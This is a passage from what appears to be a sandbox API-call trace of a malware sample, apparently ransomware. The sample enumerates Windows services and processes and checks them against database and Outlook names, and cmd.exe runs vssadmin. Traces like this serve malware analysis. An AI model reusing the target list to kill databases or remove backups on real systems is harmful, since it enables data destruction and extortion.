(lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0198.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0198.288] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0198.288] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0198.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0198.288] lstrlenW (lpString="PlugPlay") returned 8 [0198.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0198.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0198.288] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0198.288] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0198.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0198.288] lstrlenW (lpString="Power") returned 5 [0198.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0198.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0198.288] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0198.288] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0198.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0198.288] lstrlenW (lpString="ProfSvc") returned 7 [0198.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0198.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0198.288] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0198.288] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0198.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0198.288] lstrlenW (lpString="RpcEptMapper") returned 12 [0198.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0198.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0198.288] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0198.289] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0198.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0198.289] lstrlenW (lpString="RpcSs") returned 5 [0198.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0198.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0198.289] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0198.289] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0198.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0198.289] lstrlenW (lpString="SamSs") returned 5 [0198.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0198.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0198.289] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0198.289] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0198.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0198.289] lstrlenW (lpString="Schedule") returned 8 [0198.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0198.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0198.289] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0198.289] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0198.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0198.289] lstrlenW (lpString="SENS") returned 4 [0198.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0198.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0198.289] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0198.289] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0198.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0198.289] lstrlenW (lpString="ShellHWDetection") returned 16 [0198.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0198.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0198.289] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0198.290] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0198.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0198.290] lstrlenW (lpString="Spooler") returned 7 [0198.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0198.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0198.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0198.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0198.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0198.290] lstrlenW (lpString="swprv") returned 5 [0198.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0198.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0198.290] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0198.290] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0198.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0198.290] lstrlenW (lpString="SysMain") returned 7 [0198.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0198.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0198.290] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0198.290] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0198.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0198.290] lstrlenW (lpString="Themes") returned 6 [0198.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0198.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0198.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0198.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0198.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0198.290] lstrlenW (lpString="TrkWks") returned 6 [0198.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0198.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0198.290] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0198.291] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0198.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0198.291] lstrlenW (lpString="UxSms") returned 5 [0198.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0198.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0198.291] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0198.291] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0198.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0198.291] lstrlenW (lpString="VSS") returned 3 [0198.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0198.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0198.291] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0198.291] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0198.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0198.291] lstrlenW (lpString="WdiServiceHost") returned 14 [0198.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0198.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0198.291] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0198.291] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0198.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0198.291] lstrlenW (lpString="WdiSystemHost") returned 13 [0198.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0198.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0198.291] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0198.291] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0198.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0198.291] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0198.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0198.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0198.291] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0198.291] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0198.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0198.292] lstrlenW (lpString="Winmgmt") returned 7 [0198.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0198.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0198.292] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0198.292] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0198.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0198.292] lstrlenW (lpString="WPDBusEnum") returned 10 [0198.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0198.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0198.292] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0198.292] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0198.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0198.292] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0198.292] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20c [0198.294] Process32FirstW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.294] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0198.295] lstrlenW (lpString="System") returned 6 [0198.295] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0198.295] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0198.295] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0198.295] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0198.295] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0198.295] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0198.295] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0198.295] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0198.295] lstrlenW (lpString="smss.exe") returned 8 [0198.295] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0198.295] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0198.295] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0198.295] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0198.295] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0198.295] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0198.295] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0198.295] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0198.298] lstrlenW (lpString="csrss.exe") returned 9 [0198.298] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0198.298] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0198.298] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0198.298] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0198.298] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0198.298] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0198.298] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0198.298] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0198.299] lstrlenW (lpString="wininit.exe") returned 11 [0198.299] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0198.299] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0198.299] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0198.299] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0198.299] lstrlenW (lpString="csrss.exe") returned 9 [0198.299] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0198.300] lstrlenW (lpString="winlogon.exe") returned 12 [0198.300] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0198.300] lstrlenW (lpString="services.exe") returned 12 [0198.300] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0198.300] lstrlenW (lpString="lsass.exe") returned 9 [0198.301] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0198.301] lstrlenW (lpString="lsm.exe") returned 7 [0198.301] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.301] lstrlenW (lpString="svchost.exe") returned 11 [0198.301] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.302] lstrlenW (lpString="svchost.exe") returned 11 [0198.302] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.302] lstrlenW (lpString="svchost.exe") returned 11 [0198.302] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.303] lstrlenW (lpString="svchost.exe") returned 11 [0198.303] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.303] lstrlenW (lpString="svchost.exe") returned 11 [0198.303] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0198.303] lstrlenW (lpString="audiodg.exe") returned 11 [0198.303] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.304] lstrlenW (lpString="svchost.exe") returned 11 [0198.304] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0198.304] lstrlenW (lpString="explorer.exe") returned 12 [0198.304] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0198.304] lstrlenW (lpString="dwm.exe") returned 7 [0198.305] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.305] lstrlenW (lpString="svchost.exe") returned 11 [0198.305] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0198.305] lstrlenW (lpString="n.exe") returned 5 [0198.305] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0198.306] lstrlenW (lpString="spoolsv.exe") returned 11 [0198.306] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.306] lstrlenW (lpString="svchost.exe") returned 11 [0198.306] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0198.307] lstrlenW (lpString="taskhost.exe") returned 12 [0198.307] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0198.307] lstrlenW (lpString="reader_sl.exe") returned 13 [0198.307] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0198.307] lstrlenW (lpString="n.exe") returned 5 [0198.307] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0198.308] lstrlenW (lpString="cmd.exe") returned 7 [0198.308] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0198.308] lstrlenW (lpString="conhost.exe") returned 11 [0198.308] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0198.309] lstrlenW (lpString="vssadmin.exe") returned 12 [0198.309] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0198.309] lstrlenW (lpString="VSSVC.exe") returned 9 [0198.309] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.311] lstrlenW (lpString="svchost.exe") returned 11 [0198.311] Process32NextW (in: hSnapshot=0x20c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0198.311] CloseHandle (hObject=0x20c) returned 1 [0198.311] Sleep (dwMilliseconds=0x1f4) [0198.989] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633dc8 [0198.998] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0199.007] GetLastError () returned 0xea [0199.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12c6) returned 0x6b5c80 [0199.007] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x12c6, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0199.026] CloseServiceHandle (hSCObject=0x633dc8) returned 1 [0199.026] lstrlenW (lpString="Appinfo") returned 7 [0199.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0199.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0199.026] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0199.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0199.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0199.027] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0199.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0199.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0199.027] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0199.027] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0199.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0199.027] lstrlenW (lpString="AudioSrv") returned 8 [0199.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0199.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0199.027] lstrcmpiW 